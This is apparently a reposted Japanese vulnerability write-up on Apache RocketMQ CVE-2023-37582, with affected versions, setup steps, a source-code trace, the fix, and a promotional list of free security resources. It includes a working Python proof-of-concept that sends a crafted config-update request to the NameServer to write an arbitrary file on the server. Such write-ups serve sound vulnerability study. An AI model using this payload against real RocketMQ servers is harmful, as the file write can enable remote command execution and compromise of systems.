Apache RocketMQ リモート コード実行の脆弱性 (CVE-2023-37582)

画像

脆弱性プロファイル

Apache RocketMQ は、低遅延、高同時実行性、高可用性、高信頼性を備えた分散メッセージ ミドルウェアです。CVE-2023-37582 では、CVE-2023-33246 の不完全な修復により、Apache RocketMQ NameServer への不正アクセスがあると、攻撃者は RocketMQ を実行しているシステム ユーザーとしてコマンドを実行する悪意のあるリクエストを作成する可能性があります。

影響を受けるバージョン

Apache RocketMQ <= 5.1.1
Apache RocketMQ <= 4.9.6

環境構築

「Apache RocketMQ リモート コード実行の脆弱性 CVE-2023-33246 環境設定」を参照してください。

デバッグの利便性を考慮して、RocketMQ 関連サービスを Linux 上で構築し、ソース コードを使用して開始します。

合計 2 つのサービスを実行する必要があります

org.apache.rocketmq.namesrv.NamesrvStartup
org.apache.rocketmq.broker.BrokerStartup


最初に NamesrvStartup を開始し、次に BrokerStartup を開始します。環境変数 ROCKETMQ_HOME ROCKETMQ_HOME=/home/ubuntu/Desktop/rocketmq-rocketmq-all-5.1.0 を構成する必要があります。

画像

画像

脆弱性の再発

Pythonスクリプトを実行する

import socket
import binascii
client = socket.socket()

# you ip
client.connect(('192.168.222.130',9876))

# data
json = '{"code":318,"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='configStorePath=/tmp/test.txt\nproductEnvName=123\\ntest'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:]      # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')

# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

画像

画像指定された文字列 test が tmp ディレクトリの下の test.txt ファイルに正常に書き込まれます。

サイバーセキュリティの学習に役立ち、完全な情報セットの S レターを無料で入手できます:
① サイバーセキュリティ学習の成長パスのマインド マップ
② 60 以上の古典的なサイバーセキュリティ ツールキット
③ 100 以上の SRC 分析レポート
④ サイバーセキュリティの攻撃と防御の戦闘テクニックに関する 150 以上の電子書籍
⑤最も権威のある CISSP 認定試験ガイド + クエスチョン バンク
⑥ 1800 ページを超える CTF 実践スキル マニュアル
⑦ ネットワーク セキュリティ企業からの最新の面接質問集 (回答を含む)
⑧ APP クライアント セキュリティ テスト ガイド (Android+IOS)

脆弱性分析

org/apache/rocketmq/remoting/protocol/RequestCode.javaコードはさまざまな関数の呼び出しを表しており、このとき、318 更新構成の操作が呼び出されます

src/main/java/org/apache/rocketmq/remoting/protocol/RequestCode.java

画像

対応するコードに従って、対応する関数が呼び出されて処理されます。

src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java

画像

src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java#updateConfig

画像​​src/main/java/org/apache/rocketmq/remoting/Configuration.java#update

画像まず制御可能な属性かどうかを判断する

src/main/java/org/apache/rocketmq/remoting/Configuration.java#persist

画像src/main/java/org/apache/rocketmq/remoting/Configuration.java#getStorePath

画像

ファイルパスを取得するために呼び出しますgetStorePath。このときに取得される値がconfigStorePathの値です

src/main/java/org/apache/rocketmq/common/MixAll.java#string2File

画像​​src/main/java/org/apache/rocketmq/common/MixAll.java#string2FileNotSafe

画像​​src/main/java/org/apache/rocketmq/common/utils/IOTinyUtils.java#writeStringToFile

画像

バグの修正

構成パスの変更を無効にするパラメータを変更します

画像

おすすめ

転載: blog.csdn.net/qq_38154820/article/details/132029266